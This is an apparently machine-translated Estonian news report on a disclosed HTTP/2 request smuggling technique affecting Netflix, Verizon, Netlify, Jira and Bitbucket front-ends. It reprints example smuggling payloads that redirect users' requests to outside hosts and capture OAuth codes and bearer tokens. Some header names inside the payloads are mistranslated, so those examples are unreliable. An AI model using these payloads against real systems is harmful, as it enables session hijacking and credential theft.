Uus rünnak esiotsa-taustasüsteemide vastu, mis võimaldab teil taotlustesse kiiluda

Veebisüsteemid, mille esiots aktsepteerib ühendusi HTTP/2 kaudu ja edastab need HTTP/1.1 kaudu tagaprogrammi, on kokku puutunud rünnaku „HTTP Request Smuggling” uue variandiga, mis võimaldab spetsiaalselt loodud kliendipäringuid saates kiil teiste kasutajate päringute sisusse, mida töödeldakse samas voos esi- ja taustaprogrammi vahel. Rünnakut saab kasutada pahatahtliku JavaScripti koodi sisestamiseks legitiimse veebisaidiga seansse, juurdepääsupiirangusüsteemidest mööda hiilimiseks ja autentimisparameetrite pealtkuulamiseks.

Probleem mõjutab veebipuhverservereid, koormuse tasakaalustajaid, veebikiirendeid, sisuedastussüsteeme ja muid konfiguratsioone, milles päringud suunatakse ümber esiotsa-taustasüsteemi. Uuringu autor demonstreeris võimalust rünnata Netflixi, Verizoni, Bitbucketi, Netlify CDN-i ja Atlassiani süsteeme ning sai turvaaukude tuvastamise eest preemiaprogrammides 56 tuhat dollarit. Probleem on leidnud kinnitust ka F5 Networksi toodetes. Probleem mõjutab osaliselt mod_proxyt Apache http-serveris (CVE-2021-33193), versioonis 2.4.49 on oodata parandust (arendajaid teavitati probleemist mai alguses ja neile anti 3 kuud aega selle parandamiseks). Nginxis blokeeriti viimases versioonis (1.21.1) päiste „Content-Length” ja „Transfer-Encoding” üheaegse määramise võimalus. Rünnakutööriistad on juba Burpi tööriistakomplektis ja saadaval Turbo Intruderi laienduse kujul.

Päringute liiklusesse kiilumise uue meetodi tööpõhimõte on sarnane haavatavusega, mille sama uurija tuvastas kaks aastat tagasi, kuid piirdub HTTP/1.1 kaudu päringuid vastuvõtvate frontendidega. Tuletagem meelde, et skeemis frontend-backend võtab klientide päringuid vastu täiendav sõlm - frontend, mis loob pikaajalise TCP-ühenduse taustaprogrammiga, mis töötleb päringuid otse. Selle ühise ühenduse kaudu edastatakse tavaliselt erinevatelt kasutajatelt päringuid, mis järgivad üksteise järel HTTP-protokolli abil eraldatud ahelat.

Klassikaline "HTTP Request Smuggling" rünnak põhines asjaolul, et esi- ja taustaprogrammid tõlgendavad HTTP päiste "Content-Length" (määrab päringus sisalduvate andmete kogumahu) ja "Transfer-Encoding: chunked" (võimaldab) kasutamist. osade kaupa edastatavad andmed) erinevalt. Näiteks kui kasutajaliides toetab ainult "Content-Length", kuid eirab "Transfer-Encoding: chunked", võib ründaja saata päringu, mis sisaldab nii päist "Content-Length" kui ka "Transfer-Encoding: chunked", kuid suurus on "Content-Length" ei vasta tükkide keti suurusele. Sel juhul töötleb ja suunab kasutajaliides päringu vastavalt parameetrile „Sisu pikkus” ning taustaprogramm ootab ploki lõpuleviimist „Transfer-Encoding: chunked” alusel ning ründaja päringu ülejäänud saba olema järgmisena edastatud kellegi teise päringu alguses.

Erinevalt tekstiprotokollist HTTP/1.1, mida sõelutakse rea tasemel, on HTTP/2 binaarprotokoll ja manipuleerib eelnevalt määratud suurusega andmeplokkidega. HTTP/2 kasutab aga pseudopäiseid, mis vastavad tavalistele HTTP-päistele. HTTP/1.1 protokolli kaudu taustaprogrammiga suhtlemise korral tõlgib esiosa need pseudopäised sarnasteks HTTP-päisteks HTTP/1.1. Probleem on selles, et taustaprogramm teeb otsuseid voo sõelumise kohta esiprogrammi määratud HTTP-päiste põhjal, omamata teavet algse päringu parameetrite kohta.

Eelkõige saab väärtusi "sisu pikkus" ja "edastuskodeering" edastada pseudopäiste kujul, hoolimata asjaolust, et neid HTTP/2-s ei kasutata, kuna kõigi andmete suurus määratakse eraldi väljal. Kuid HTTP/2 päringu HTTP/1.1-ks teisendamise käigus kantakse need päised üle ja võivad taustaprogrammi segadusse ajada. Rünnakuvariante on kaks peamist: H2.TE ja H2.CL, mille puhul taustaprogrammi eksitatakse vale edastuskodeeringu või sisu pikkuse väärtuse tõttu, mis ei vasta kasutajaliidese kaudu saadetud päringu keha tegelikule suurusele. HTTP/2 protokoll.

Uus rünnak esiotsa-taustasüsteemide vastu, mis võimaldab teil taotlustesse kiiluda

H2.CL rünnaku näide on sisu pikkuse pseudopäises vale suuruse määramine HTTP/2 päringu saatmisel Netflixile. See taotlus toob kaasa sarnase HTTP päise Content-Length lisamise, kui pääsete juurde taustaprogrammi HTTP/1.1 kaudu, kuid kuna sisu pikkus on määratud tegelikust väiksemaks, töödeldakse osa sabas olevatest andmetest järgmise taotluse alguses.

Näiteks taotlege HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Tulemuseks on päringu saatmine taustaprogrammi: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Kuna sisu pikkuse väärtus on 4, aktsepteerib taustaprogramm päringu sisuks ainult "abcd" ja ülejäänud osa "GET /n HTTP/1.1..." töödeldakse järgmise päringu algusena. seotud teise kasutajaga. Vastavalt sellele voog desünkroniseeritakse ja vastuseks järgmisele päringule väljastatakse näivpäringu töötlemise tulemus. Netflixi puhul andis näiva päringu päises „Host:” kolmanda osapoole hosti määramine tulemuseks selle, et klient tagastas vastuse „Asukoht: https://02.rs?x.netflix.com/n” ja lubas kliendile suvalise sisu saata, sealhulgas käivitage JavaScripti kood Netflixi saidi kontekstis.

Teine ründevalik (H2.TE) hõlmab päise „Transfer-Encoding: chunked” asendamist. Transfer-kodeeringu pseudopäise kasutamine HTTP/2-s on spetsifikatsiooniga keelatud ja sellega kaasnevaid päringuid on ette nähtud käsitleda ebaõigetena. Sellele vaatamata ei võta mõned kasutajaliidese rakendused seda nõuet arvesse ja võimaldavad HTTP/2-s kasutada edastuskodeeringut pseudopäist, mis teisendatakse sarnaseks HTTP päiseks. Kui on olemas päis "Transfer-Encoding", võib taustaprogramm võtta selle kõrgema prioriteedina ja sõeluda andmeid tükkhaaval "tükistatud" režiimis, kasutades erineva suurusega plokke vormingus "{size}\r\n{block }\r\n{suurus} \r\n{plokk}\r\n0", hoolimata esialgsest jagamisest üldise suurusega.

Sellise tühimiku olemasolu näitas Verizoni näide. Probleem puudutas autentimisportaali ja sisuhaldussüsteemi, mida kasutatakse ka sellistel saitidel nagu Huffington Post ja Engadget. Näiteks kliendipäring HTTP/2 kaudu: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding tükkideks 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Tulemuseks oli HTTP/1.1 päringu saatmine taustaprogrammi: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Sisu pikkus: 66 Edastuskodeering: tükeldatud 0 GET /oops HTTP/1.1 Host: psres. net Sisu- Pikkus: 10x=

Taustaprogramm omakorda eiras päist "Content-Length" ja teostas voosisese tükeldamise "Transfer-Encoding: chunked" alusel. Praktikas võimaldas rünnak kasutajate päringuid oma veebisaidile ümber suunata, sealhulgas pealt kuulata OAuthi autentimisega seotud päringuid, mille parameetrid kuvati viitaja päises, samuti simuleerida autentimisseanssi ja käivitada kasutaja süsteem mandaatide saatmiseks. ründaja peremehele. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Viite: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Volitus: kandja eyJhcGwiOiJIUzI1cCI1IInkR6cCI6

HTTP/2 rakenduste ründamiseks, mis ei võimalda edastuskodeeringu pseudopäist määrata, on pakutud välja teine ​​meetod, mis hõlmab päise "Transfer-Encoding" asendamist, lisades selle teistele pseudopäistele, mis on eraldatud reavahetuse märgiga ( kui teisendada HTTP/1.1-ks, loob sel juhul kaks eraldi HTTP päist).

Näiteks Atlassian Jira ja Netlify CDN (kasutatakse Firefoxis Mozilla avalehe teenindamiseks) mõjutasid see probleem. Täpsemalt HTTP/2 päring :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Sisu pikkus: 5\r\n \r\nx=

tulemuseks oli HTTP/1.1 POST / HTTP/1.1 päringu saatmine taustaprogrammi\r\n Host: start.mozilla.org\r\n Foo: b\r\n Edastus-kodeering: tükeldatud\r\n Sisu pikkus : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Sisu pikkus: 5\r\n \r \nx=

Teine võimalus „Transfer-Encoding” päise asendamiseks oli lisada see mõne teise pseudopäise nimele või päringumeetodiga reale. Näiteks Atlassian Jirale juurdepääsul põhjustas pseudopäise nimi "foo: bar\r\ntransfer-encoding" väärtusega "chunked" HTTP päiste "foo: bar" ja "transfer-encoding: chunked" lisamise. , ja pseudopäise ":method" väärtus "GET / HTTP/1.1\r\nTransfer-encoding: chunked" tõlgiti "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Probleemi tuvastanud uurija pakkus välja ka frontendide ründamiseks päringu tunneldamise tehnika, mille puhul iga IP-aadress loob taustaprogrammiga eraldi ühenduse ja erinevate kasutajate liiklust ei segata. Kavandatav tehnika ei võimalda sekkuda teiste kasutajate päringutesse, kuid võimaldab mürgitada jagatud vahemälu, mis mõjutab teiste päringute töötlemist, ja võimaldab asendada sisemisi HTTP-päiseid, mida kasutatakse teenuseteabe edastamiseks esiprogrammist taustaprogrammi ( Näiteks kui autentida esiserva poolel jaotises Sellised päised võivad edastada teavet praeguse kasutaja kohta taustaprogrammi). Näitena meetodi praktikas rakendamisest, kasutades vahemälu mürgitamist, oli võimalik saada Bitbucketi teenuses kontroll lehtede üle.

Allikas: opennet.ru

Lisa kommentaar